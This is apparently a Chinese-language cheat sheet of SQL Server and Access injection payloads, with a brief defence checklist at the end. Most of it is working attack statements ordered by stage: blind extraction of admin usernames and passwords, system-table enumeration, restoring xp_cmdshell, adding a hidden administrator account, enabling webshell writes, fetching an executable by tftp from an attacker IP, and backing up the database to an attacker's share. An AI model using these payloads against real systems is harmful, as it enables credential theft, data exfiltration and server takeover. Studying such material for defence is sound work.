經典 SQL Server 注入攻擊語句分類匯總(僅供安全測試與防禦研究)
階段一:確認注入點
AND 1=1 -- 正常
AND 1=2 -- 異常/報錯/頁面變化 → 存在注入
階段二:猜解表名
AND 0<>(SELECT COUNT(*) FROM admin) -- 判斷 admin 表是否存在
AND 0<>(SELECT COUNT(*) FROM adminuser) -- 猜解常見表名
階段三:猜解記錄數
AND 0<(SELECT COUNT(*) FROM admin) -- 正常說明≥1條
AND 1<(SELECT COUNT(*) FROM admin) -- 異常說明=1條
階段四:猜解字段名與長度
-- 判斷字段是否存在
AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>0)
AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(password)>0)
-- 猜解長度(二分法)
AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>6) -- 錯
AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)>5) -- 對 → 長度=6
AND 1=(SELECT COUNT(*) FROM admin WHERE LEN(username)=6) -- 確認
階段五:逐字符猜解內容
-- ASCII 逐位猜解(適用英數)
AND 1=(SELECT COUNT(*) FROM admin WHERE LEFT(username,1)='a')
AND 1=(SELECT COUNT(*) FROM admin WHERE LEFT(username,2)='ab')
...
-- 中文/特殊字符用 ASCII 碼
AND 1=(SELECT TOP 1 COUNT(*) FROM admin WHERE ASC(MID(password,5,1))=51)
階段六:高級技巧(報錯回顯、聯合查詢、系統信息獲取)
-- 爆庫/表/字段(利用系統表)
AND 0<>(SELECT TOP 1 name FROM master.dbo.sysdatabases WHERE dbid=7) -- 爆第7個庫
AND 0<>(SELECT TOP 1 name FROM bbs.dbo.sysobjects WHERE xtype='U') -- 爆用戶表
AND 0<>(SELECT TOP 1 name FROM bbs.dbo.syscolumns WHERE id=表ID) -- 爆字段
-- 判斷補丁/權限
AND 1=(SELECT @@VERSION) -- 看版本/補丁
AND 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) -- 是否 sysadmin
AND sa=(SELECT SYSTEM_USER) -- 連接帳號是否 sa
AND 1=(SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell') -- xp_cmdshell 是否存在
-- 恢復 xp_cmdshell
EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'
-- 反向 Ping 測試連通
USE master; DECLARE @s INT; EXEC sp_oacreate 'wscript.shell',@s OUT; EXEC sp_oamethod @s,'run',NULL,'cmd.exe /c ping 192.168.0.1';
-- 添加系統用戶並加入管理員組
DECLARE @shell INT; EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT; EXEC SP_OAMETHOD @shell,'run',NULL,'C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add';
DECLARE @shell INT; EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT; EXEC SP_OAMETHOD @shell,'run',NULL,'C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add';
-- 創建虛擬目錄
DECLARE @o INT; EXEC SP_OACREATE 'wscript.shell',@o OUT; EXEC SP_OAMETHOD @o,'run',NULL,'cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "Default Web Site" -v "e","e:\"';
-- 修改目錄權限(寫入 WebShell)
DECLARE @o INT; EXEC SP_OACREATE 'wscript.shell',@o OUT; EXEC SP_OAMETHOD @o,'run',NULL,'cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse';
-- TFTP 下載文件
EXEC master..xp_cmdshell 'tftp -i 攻擊者IP get file.exe'
-- 直接備份數據庫到攻擊者共享
DECLARE @a SYSNAME; SET @a=DB_NAME(); BACKUP DATABASE @a TO DISK='\\攻擊者IP\share\bak.dat'
Access 注入通用語句
?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,* FROM admin
?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,*,9,10,11,12,13 FROM admin
防禦核心原則
- 參數化查詢 / 預編譯語句(根本解決)。
- 最小權限原則:Web 應用數據庫帳號**僅擁有必要表的 SELECT/INSERT/UPDATE/DELETE**,**禁止**
sysadmin、xp_cmdshell、OPENROWSET、sp_oacreate 等高危權限。
- 錯誤信息不回顯前端,統一友好提示頁面。
- WAF/應用防火牆攔截常見注入特徵。
- 定期代碼審計與滲透測試。